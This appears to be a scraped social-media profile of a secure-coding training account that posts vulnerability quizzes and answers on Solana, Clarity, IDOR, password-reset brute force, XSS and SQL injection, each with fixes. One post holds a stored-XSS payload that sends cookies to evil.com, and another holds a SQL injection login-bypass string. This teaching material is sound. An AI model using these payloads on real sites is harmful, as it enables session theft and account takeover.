Pantsir

29 posts

Pantsir banner
Pantsir

Pantsir

@pantsircc

We help developers practice secure coding through realistic labs. Grantee @superteam & @Stacks DeGrants

India เข้าร่วม Ekim 2025
7 กำลังติดตาม10 ผู้ติดตาม
Pantsir
Pantsir@pantsircc·
This Solana program lets users withdraw their balance. It transfers SOL first, then sets balance to 0 after the transfer: pub fn withdraw(ctx: Context) -> Result<()> { let balance = ctx.accounts.user_account.balance; invoke(&system_instruction::transfer(vault, user, balance), ...)?; ctx.accounts.user_account.balance = 0; Ok(()) } Is this vulnerable to reentrancy? #solana #security #pantsir #reentrancy
English
0
0
6
34
Pantsir
Pantsir@pantsircc·
Answer: Any user, any invoice. This is an Insecure Direct Object Reference (IDOR). The endpoint checks that the user is logged in (auth middleware), but it never checks whether invoice #1042 actually belongs to the requesting user. Any authenticated user can enumerate invoice IDs (1042, 1043, 1044...) and download other people's invoices. IDOR is OWASP A01:2021 (Broken Access Control) and is consistently the #1 vulnerability class. It is embarrassingly common in production APIs and has led to massive data breaches. In 2019, a major US financial company exposed 885 million records through a simple IDOR in their mortgage document API. Fix: Always verify ownership: app.get('/api/invoices/:id', auth, async (req, res) => { const invoice = await db.invoices.findOne({ _id: req.params.id, userId: req.user.id }); if (!invoice) return res.status(404).json({ error: 'Not found' }); res.json(invoice); }); The query now includes userId, so users can only fetch their own invoices. Use this pattern everywhere: filter by the authenticated user at the database query level, not just at the route level. Bonus: Use UUIDs instead of sequential integer IDs to make enumeration harder (but this is defense in depth, not a fix by itself).
English
0
0
4
382
Trident
Trident@TridentSolana·
@pantsircc That multiplication overflows u64 before the division runs. Classic integer math trap. Trident catches these by fuzzing Solana programs with thousands of inputs per second.
English
1
0
2
20
Pantsir
Pantsir@pantsircc·
This Solana program calculates rewards: pub fn calculate_reward(staked: u64, rate: u64, duration: u64) -> u64 { let reward = staked * rate * duration / 1_000_000; reward } A user stakes 10,000,000,000 tokens (10B) at rate 50,000 for 31,536,000 seconds (1 year). What happens?
English
1
0
5
276
Pantsir
Pantsir@pantsircc·
Answer: Overflow, tx fails. 10,000,000,000 * 50,000 * 31,536,000 = 1.5768 * 10^25 The maximum value of u64 is 1.8446 * 10^19. The intermediate multiplication overflows u64 long before the division happens. In Rust (and Solana programs compiled in release mode with overflow checks enabled via Anchor), this causes a panic and the transaction fails. This is dangerous because it means legitimate high value stakers cannot claim rewards. Even worse, if overflow checks are disabled (some older Solana programs did this for gas savings), the value silently wraps around and produces a wildly incorrect small number. The user either gets nothing or gets robbed. Fix: Use checked arithmetic or reorder operations to avoid large intermediates: pub fn calculate_reward(staked: u64, rate: u64, duration: u64) -> Result { let reward = (staked as u128) .checked_mul(rate as u128) .and_then(|v| v.checked_mul(duration as u128)) .and_then(|v| v.checked_div(1_000_000)) .ok_or(ErrorCode::MathOverflow)?; u64::try_from(reward).map_err(|_| ErrorCode::MathOverflow.into()) } Upcast to u128 for intermediate math, use checked operations, and handle the error gracefully. This pattern is standard in production Solana DeFi programs.
Pantsir@pantsircc

This Solana program calculates rewards: pub fn calculate_reward(staked: u64, rate: u64, duration: u64) -> u64 { let reward = staked * rate * duration / 1_000_000; reward } A user stakes 10,000,000,000 tokens (10B) at rate 50,000 for 31,536,000 seconds (1 year). What happens?

English
0
0
4
245
Pantsir รีทวีตแล้ว
Mehta
Mehta@kartik_mehta8·
we’re doubling down on @pantsircc just received a grant to push forward what we started making security a hands on skill, not theory shipping faster is easy shipping secure is what matters join pantsir.cc thanks to @SuperteamIN & @paarugsethi for the support🫡
Mehta tweet media
Mehta@kartik_mehta8

nobody ever showed developers what vulnerable code actually looks like! so I built P.A.N.T.S.I.R. (@pantsircc) - a hands-on security training platform where developers find real vulnerabilities in real code. find bugs. get feedback. 🧵 live on @solana & @Stacks mainnet.

English
1
2
17
499
Pantsir
Pantsir@pantsircc·
Answer: 10,000. A 4 digit numeric code has exactly 10,000 possible combinations (0000 to 9999). Without rate limiting, an attacker can script all 10,000 requests in seconds. At even 100 requests per second, they crack any account in under 2 minutes. This is not theoretical. In 2023, multiple production apps were breached through exactly this pattern. The attacker just needed the victim's email address, which is often publicly available. Multiple fixes needed: 1. Use longer codes. A 6 digit code gives 1,000,000 combinations. Better yet, use a long random token (32+ characters) in the reset URL instead of a short code. 2. Rate limit verification attempts. Lock out after 5 failed attempts on the same email. Implement exponential backoff. 3. Expire codes quickly. A 4 digit code that expires in 5 minutes with a 3 attempt limit is much harder to brute force than one that lives for 24 hours. 4. Do not include the email in the URL. The reset token itself should be the only identifier. Including the email lets attackers target specific accounts. 5. Use account lockout notifications. Email the user when multiple failed reset attempts happen.
Pantsir@pantsircc

Your password reset flow: 1. User requests reset 2. Server generates a 4 digit code 3. Code is sent via email 4. User enters the code on /reset?email=user@example.com 5. No rate limit on verification attempts How many attempts does an attacker need to brute force the code?

English
0
0
4
100
Pantsir
Pantsir@pantsircc·
Your password reset flow: 1. User requests reset 2. Server generates a 4 digit code 3. Code is sent via email 4. User enters the code on /reset?email=user@example.com 5. No rate limit on verification attempts How many attempts does an attacker need to brute force the code?
English
0
0
4
154
Pantsir
Pantsir@pantsircc·
Answer: Both B and C. Two problems here: 1. unwrap-panic vs unwrap! (or unwrap-err!): The get-balance function correctly uses unwrap! with a fallback error. But the transfer function uses unwrap-panic, which will cause a runtime abort if the sender has no entry in the balances map. This means calling transfer before having any balance entry crashes the transaction with no useful error message. Always use unwrap! or unwrap-err! with explicit error codes in public functions so callers get meaningful responses. 2. Unsigned integer underflow: Clarity uses uint (unsigned integers). If sender-bal.amount is less than amount, the subtraction (- (get amount sender-bal) amount) will cause a runtime error in Clarity (it does not silently wrap around like in Solidity). However, this is still a logic bug because the function does not check the balance before subtracting. The transaction aborts with a cryptic error instead of a clear insufficient funds response. Always validate before mutating state, and use explicit error codes in Clarity.
Pantsir@pantsircc

In a Clarity smart contract, get-balance uses unwrap! with a fallback error. But this transfer function uses unwrap-panic: (define-public (transfer (to principal) (amount uint)) (let ((sender-bal (unwrap-panic (map-get? balances { owner: tx-sender })))) (map-set balances { owner: tx-sender } (- (get amount sender-bal) amount)) (ok true))) What is the vulnerability? a) tx-sender can be spoofed b) unwrap-panic aborts tx c) Subtraction underflows d) Both B and C #stacks #clarity #smartcontracts #web3 #security #bitcoin #pantsir

English
0
0
4
76
Pantsir
Pantsir@pantsircc·
In a Clarity smart contract, get-balance uses unwrap! with a fallback error. But this transfer function uses unwrap-panic: (define-public (transfer (to principal) (amount uint)) (let ((sender-bal (unwrap-panic (map-get? balances { owner: tx-sender })))) (map-set balances { owner: tx-sender } (- (get amount sender-bal) amount)) (ok true))) What is the vulnerability? a) tx-sender can be spoofed b) unwrap-panic aborts tx c) Subtraction underflows d) Both B and C #stacks #clarity #smartcontracts #web3 #security #bitcoin #pantsir
English
0
0
4
97
Pantsir
Pantsir@pantsircc·
Answer: Stored XSS (Cross Site Scripting). The malicious comment gets saved to the database and rendered to every user who views the page. The tag uses a broken src (x) which triggers the onerror handler. That handler redirects the victim's browser to an attacker controlled domain, passing their session cookie as a query parameter. This is "stored" XSS because the payload persists in the database. Every visitor to that page gets hit, not just one person clicking a crafted link (that would be reflected XSS). Fix: Always escape or sanitise user generated content before rendering. In React, JSX auto escapes by default (unless you use dangerouslySetInnerHTML). For rich text where you need some HTML, use a sanitiser library like DOMPurify: const clean = DOMPurify.sanitize(comment.body); This strips all dangerous tags and attributes while keeping safe formatting. Never trust raw HTML from user input. XSS is still in the top 3 most common web vulnerabilities.
Pantsir@pantsircc

Your app displays user comments like this: <div class="comment">{{ comment.body }}</div> A user submits this comment: Great post! <img src=x onerror="document.location='https: //evil.com/steal?c='+document.cookie"> What type of attack is this? #security #pantsir #owasp

English
0
0
5
53
Pantsir
Pantsir@pantsircc·
Your app displays user comments like this: <div class="comment">{{ comment.body }}</div> A user submits this comment: Great post! <img src=x onerror="document.location='https: //evil.com/steal?c='+document.cookie"> What type of attack is this? #security #pantsir #owasp
English
0
0
5
79
Pantsir
Pantsir@pantsircc·
Answer: Anyone can edit any profile. The account constraint on "profile" only checks that it is mutable (#[account(mut)]). It never verifies that the signer actually owns this profile. Any wallet can call this instruction with any profile account and overwrite the name. This is one of the most common Solana vulnerabilities: missing owner/authority checks. Fix: Add a has_one or constraint check: #[derive(Accounts)] pub struct UpdateProfile<'info> { #[account(mut, has_one = authority)] pub profile: Account<'info, UserProfile>, pub authority: Signer<'info>, } The has_one = authority constraint tells Anchor to verify that profile.authority matches the authority account's public key. Without this, your program is essentially an open write endpoint. This is the Solana equivalent of broken access control. In 2022 and 2023, multiple DeFi protocols lost funds because of missing signer or owner checks in their Anchor programs.
Pantsir@pantsircc

Reviewing a Solana Anchor program. This instruction updates a user profile: pub fn update_profile(ctx: Context, new_name: String) -> Result<()> { let profile = &mut ctx.accounts.profile; profile.name = new_name; Ok(()) } #[derive(Accounts)] pub struct UpdateProfile<'info> { #[account(mut)] pub profile: Account<'info, UserProfile>, pub signer: Signer<'info>, } What is wrong here? #solana #broken #access #control #security

English
0
0
4
41
Pantsir
Pantsir@pantsircc·
Reviewing a Solana Anchor program. This instruction updates a user profile: pub fn update_profile(ctx: Context, new_name: String) -> Result<()> { let profile = &mut ctx.accounts.profile; profile.name = new_name; Ok(()) } #[derive(Accounts)] pub struct UpdateProfile<'info> { #[account(mut)] pub profile: Account<'info, UserProfile>, pub signer: Signer<'info>, } What is wrong here? #solana #broken #access #control #security
English
0
0
4
65
Pantsir
Pantsir@pantsircc·
Answer: Access to first account. The injected input closes the string with a single quote, then adds OR '1'='1' which always evaluates to true. The double dash (--) comments out the password check entirely. So the final query becomes: SELECT * FROM users WHERE email = '' OR '1'='1' -- AND password = '' This returns ALL users. Most apps then log you in as the first result, typically the admin account. Fix: Never concatenate user input into SQL. Use parameterized queries or prepared statements. 1. In Node.js with pg: db.query('SELECT * FROM users WHERE email = $1 AND password = $2', [email, pass]) 2. In Python with psycopg2: cursor.execute('SELECT * FROM users WHERE email = %s AND password = %s', (email, password)) This is SQL Injection and remains one of the most exploited vulnerability classes in production.
Pantsir@pantsircc

Your login form runs this query: SELECT * FROM users WHERE email = '$input' AND password = '$pass' What happens if someone types this as their email? ' OR '1'='1' -- #sql #security

English
0
0
4
50
Pantsir
Pantsir@pantsircc·
if you have never looked at your own code through an attacker's eyes, you should probably start a free lab, takes 10 min: pantsir.cc/labs #security #coding
English
0
0
4
19
Pantsir
Pantsir@pantsircc·
Join the @pantsircc community to discuss each challenge, share your reasoning, and see the detailed solutions before anyone else. Let's see who spots the bug first. x.com/i/communities/…
English
0
0
4
30